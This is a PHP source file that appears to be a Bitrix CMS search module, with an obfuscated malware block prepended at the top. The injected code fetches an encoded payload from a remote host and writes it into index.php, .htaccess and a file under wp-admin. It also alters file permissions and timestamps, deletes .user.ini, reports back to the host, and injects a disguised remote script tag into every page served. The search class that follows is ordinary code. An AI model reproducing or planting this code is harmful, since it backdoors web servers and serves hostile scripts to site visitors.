Your IP : 3.12.136.222
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php
IncludeModuleLangFile(__FILE__);
if (!defined("START_EXEC_TIME"))
define("START_EXEC_TIME", getmicrotime());
class CAllSearch extends CDBResult
{
var $Query; //Query parset
var $Statistic; //Search statistic
var $strQueryText = false; //q
var $strTagsText = false; //tags
var $strSqlWhere = ""; //additional sql filter
var $strTags = ""; //string of tags in double quotes separated by commas
var $errorno = 0;
var $error = false;
var $arParams = array();
var $url_add_params = array(); //additional url params (OnSearch event)
var $tf_hwm = 0;
var $tf_hwm_site_id = "";
var $_opt_ERROR_ON_EMPTY_STEM = false;
var $_opt_NO_WORD_LOGIC = false;
var $offset = false;
var $limit = false;
var $bUseRatingSort = false;
var $flagsUseRatingSort = 0;
/** @var CSearchFormatter */
var $formatter = null;
function __construct($strQuery = false, $SITE_ID = false, $MODULE_ID = false, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $aSort = array(), $aParamsEx = array(), $bTagsCloud = false)
{
$this->limit = (int)COption::GetOptionInt("search", "max_result_size");
if ($this->limit < 1)
$this->limit = 500;
$this->CSearch($strQuery, $SITE_ID, $MODULE_ID, $ITEM_ID, $PARAM1, $PARAM2, $aSort, $aParamsEx, $bTagsCloud);
}
function CSearch($strQuery = false, $LID = false, $MODULE_ID = false, $ITEM_ID = false, $PARAM1 = false, $PARAM2 = false, $aSort = array(), $aParamsEx = array(), $bTagsCloud = false)
{
if ($strQuery === false)
return $this;
$arParams["QUERY"] = $strQuery;
$arParams["SITE_ID"] = $LID;
$arParams["MODULE_ID"] = $MODULE_ID;
$arParams["ITEM_ID"] = $ITEM_ID;
$arParams["PARAM1"] = $PARAM1;
$arParams["PARAM2"] = $PARAM2;
$this->Search($arParams, $aSort, $aParamsEx, $bTagsCloud);
}
//combination ($MODULE_ID, $PARAM1, $PARAM2, $PARAM3) is used to narrow search
//returns recordset with search results
function Search($arParams, $aSort = array(), $aParamsEx = array(), $bTagsCloud = false)
{
$DB = CDatabase::GetModuleConnection('search');
if (!is_array($arParams))
$arParams = array("QUERY" => $arParams);
if (!is_set($arParams, "SITE_ID") && is_set($arParams, "LID"))
{
$arParams["SITE_ID"] = $arParams["LID"];
unset($arParams["LID"]);
}
if (array_key_exists("TAGS", $arParams))
{
$this->strTagsText = $arParams["TAGS"];
$arTags = explode(",", $arParams["TAGS"]);
foreach ($arTags as $i => $strTag)
{
$strTag = trim($strTag);
if (strlen($strTag))
$arTags[$i] = str_replace("\"", "\\\"", $strTag);
else
unset($arTags[$i]);
}
if (count($arTags))
$arParams["TAGS"] = '"'.implode('","', $arTags).'"';
else
unset($arParams["TAGS"]);
}
$this->strQueryText = $strQuery = trim($arParams["QUERY"]);
$this->strTags = $strTags = $arParams["TAGS"];
if ((strlen($strQuery) <= 0) && (strlen($strTags) > 0))
{
$strQuery = $strTags;
$bTagsSearch = true;
}
else
{
if (strlen($strTags))
$strQuery .= " ".$strTags;
$strQuery = preg_replace_callback("/&#(\\d+);/", array($this, "chr"), $strQuery);
$bTagsSearch = false;
}
if (!array_key_exists("STEMMING", $aParamsEx))
$aParamsEx["STEMMING"] = COption::GetOptionString("search", "use_stemming") == "Y";
$this->Query = new CSearchQuery("and", "yes", 0, $arParams["SITE_ID"]);
if ($this->_opt_NO_WORD_LOGIC)
$this->Query->no_bool_lang = true;
$query = $this->Query->GetQueryString((BX_SEARCH_VERSION > 1? "sct": "sc").".SEARCHABLE_CONTENT", $strQuery, $bTagsSearch, $aParamsEx["STEMMING"], $this->_opt_ERROR_ON_EMPTY_STEM);
$fullTextParams = $aParamsEx;
if (!isset($fullTextParams["LIMIT"]))
$fullTextParams["LIMIT"] = $this->limit;
$fullTextParams["OFFSET"] = $this->offset;
$fullTextParams["QUERY_OBJECT"] = $this->Query;
$result = CSearchFullText::getInstance()->search($arParams, $aSort, $fullTextParams, $bTagsCloud);
if (is_array($result))
{
$this->error = CSearchFullText::getInstance()->getErrorText();
$this->errorno = CSearchFullText::getInstance()->getErrorNumber();
$this->formatter = CSearchFullText::getInstance()->getRowFormatter();
if ($this->errorno > 0)
return;
}
else
{
if (!$query || strlen(trim($query)) <= 0)
{
if ($bTagsCloud)
{
$query = "1=1";
}
else
{
$this->error = $this->Query->error;
$this->errorno = $this->Query->errorno;
return;
}
}
if (strlen($query) > 2000)
{
$this->error = GetMessage("SEARCH_ERROR4");
$this->errorno = 4;
return;
}
}
foreach (GetModuleEvents("search", "OnSearch", true) as $arEvent)
{
$r = "";
if ($bTagsSearch)
{
if (strlen($strTags))
$r = ExecuteModuleEventEx($arEvent, array("tags:".$strTags));
}
else
{
$r = ExecuteModuleEventEx($arEvent, array($strQuery));
}
if ($r <> "")
$this->url_add_params[] = $r;
}
if (is_array($result))
{
$r = new CDBResult;
$r->InitFromArray($result);
}
elseif (
BX_SEARCH_VERSION > 1
&& count($this->Query->m_stemmed_words_id)
&& array_sum($this->Query->m_stemmed_words_id) === 0
)
{
$r = new CDBResult;
$r->InitFromArray(array());
}
else
{
$this->strSqlWhere = "";
$bIncSites = false;
$arSqlWhere = array();
if (is_array($aParamsEx) && !empty($aParamsEx))
{
foreach ($aParamsEx as $aParamEx)
{
$strSqlWhere = CSearch::__PrepareFilter($aParamEx, $bIncSites);
if ($strSqlWhere != "")
$arSqlWhere[] = $strSqlWhere;
}
}
if (!empty($arSqlWhere))
{
$arSqlWhere = array(
"\n\t\t\t\t(".implode(")\n\t\t\t\t\tOR(", $arSqlWhere)."\n\t\t\t\t)",
);
}
$strSqlWhere = CSearch::__PrepareFilter($arParams, $bIncSites);
if ($strSqlWhere != "")
array_unshift($arSqlWhere, $strSqlWhere);
$strSqlOrder = $this->__PrepareSort($aSort, "sc.", $bTagsCloud);
if (!array_key_exists("USE_TF_FILTER", $aParamsEx))
$aParamsEx["USE_TF_FILTER"] = COption::GetOptionString("search", "use_tf_cache") == "Y";
